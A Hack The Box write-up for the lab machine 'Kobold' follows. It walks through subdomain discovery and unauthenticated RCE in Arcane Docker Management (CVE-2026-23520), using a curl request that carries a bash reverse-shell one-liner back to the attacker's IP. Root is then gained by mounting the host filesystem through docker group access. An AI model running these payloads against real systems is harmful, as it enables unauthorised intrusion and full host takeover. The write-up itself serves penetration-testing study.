shreekara@sneaky69:~/writeups/kobold$
$catkobold.md

HTB Write-Up: Kobold

PlatformHack The Box
DifficultyEasy
OSLinux
Authorshreekara
DateJune 11, 2026
Sourcegithub.com/ShreekaraKedlaya/Hackthebox-writeups

Table of Contents

1. Reconnaissance
2. Enumeration — Subdomain Discovery & Version Fingerprinting
3. Initial Access — CVE-2026-23520 (Arcane Docker Management RCE)
4. Privilege Escalation — Docker Socket Abuse
5. Summary & Takeaways

1. Reconnaissance

Started with a targeted port scan:

$sudo nmap-sC -sV 10.129.1.254 -p22,80,443
PortServiceDetails
22SSHOpenSSH (Ubuntu)
80HTTPWeb server
443HTTPSWeb server (TLS)

Nothing surprising, and SSH is useless without creds, so the web server is where to start. Added kobold.htb to /etc/hosts and moved on.


2. Enumeration — Subdomain Discovery & Version Fingerprinting

2.1 — Virtual Host Enumeration

The main page didn't have much going on, so I ran a vhost bruteforce to check for anything hiding behind the same server:

$gobuster vhost-u https://kobold.htb -w bitquark-subdomains-top100000.txt --append-domain --no-tls-validation
mcp.kobold.htb · Status: 200 [Size: 466]
bin.kobold.htb · Status: 200 [Size: 24402]

Two subdomains. Added both to /etc/hosts and opened them up.

2.2 — Identifying the Services

bin.kobold.htb turned out to be a PrivateBin instance — noted, nothing immediately exploitable, parked it. mcp.kobold.htb was more interesting: a panel called "MCPJam" with an MCP Servers interface I hadn't seen before. Had to dig through the page source to figure out what it was actually built on — found a version string referencing Arcane Docker Management v1.13.0. Once I had that name and version, things moved fast.

2.3 — CVE Research

Searching "Arcane Docker Management CVE" turned up CVE-2026-23520 immediately — a critical unauthenticated RCE affecting v1.13.0 and below. Exact match.

CVEServiceImpact
CVE-2026-23520Arcane Docker Management ≤ v1.13.0Unauthenticated RCE via /api/mcp/connect

3. Initial Access — CVE-2026-23520 (Arcane Docker Management RCE)

3.1 — How the Vulnerability Works

The /api/mcp/connect endpoint takes a JSON body with a serverConfig object specifying a command and args to run server-side. No auth, no input validation — hand it a shell command and it runs. About as straightforward as RCE gets.

3.2 — Triggering the Exploit

Set up a listener, grabbed the standard bash TCP one-liner, and dropped it straight into the args field:

$nc-lvnp 4444
$curl-k -X POST https://mcp.kobold.htb/api/mcp/connect -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.14.194/4444 0>&1"]}}'
connect to [10.10.14.194] from (UNKNOWN) [10.129.1.254]
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben)

In as ben. Grabbed the user flag before doing anything else. The shell itself was rough — no tab completion, no arrow keys, Ctrl+C would kill the whole session — and my internet gave up around here too, so I called it for the night and came back the next morning.

3.3 — Stabilizing the Shell

First order of business the next day was upgrading to a proper TTY before touching anything else:

$python3-c 'import pty; pty.spawn("/bin/bash")'
$stty raw -echo; fg
$exportTERM=xterm

Proper interactive shell now. Time to look for a privesc path.


4. Privilege Escalation — Docker Socket Abuse

4.1 — Poking Around

Docker was running on the box:

$dockerps
permission denied while trying to connect to the Docker daemon socket

Almost moved on at that point, but checked id properly first — ben was already in the docker group, the active group just wasn't set yet. newgrp fixed that for the current session:

$newgrpdocker
$dockerps
privatebin/nginx-fpm-alpine:2.0.2 · already pulled locally

4.2 — Mounting the Host Filesystem

Docker socket access is root on the host, full stop. Spun up a container as root with the entire host filesystem mounted inside:

$docker run--rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2

4.3 — chroot Into the Host

/ #chroot/mnt sh
uid=0(root) gid=0(root) groups=0(root)

Root on the actual machine. Root flag at /root/root.txt.


5. Summary & Takeaways

Attack Chain

PhaseTechniqueResult
Reconnmap -sC -sVPorts 22, 80, 443 identified
Subdomain Enumgobuster vhostmcp.kobold.htb, bin.kobold.htb found
FingerprintingPage source reviewArcane Docker Management v1.13.0 → CVE-2026-23520
Initial Accesscurl POST to /api/mcp/connectShell as ben + user flag
Privilege Escalationnewgrp docker → mount host / → chrootRoot shell + root flag

What I Took Away From This Box

I almost gave up on the docker angle the moment the first docker ps came back with permission denied. It's an easy thing to skip when you're moving fast, but checking group membership properly instead of trusting the first error saved the box for me here.

The MCPJam panel didn't tell me anything about what it was running underneath at a glance — that only came from actually reading the page source. One version string in there led straight to the CVE, which is a good reminder that the boring recon step is usually the one that matters.

The bigger point though is that docker group membership is effectively root, full stop. No SUID, no sudo, no kernel exploit — just mount the host filesystem into a privileged container and chroot in. On a real system I'd treat docker group access exactly like sudo, and I'd never want an unauthenticated command-execution endpoint sitting on a network-reachable panel regardless of how "internal" it felt.

< cd ~/writeups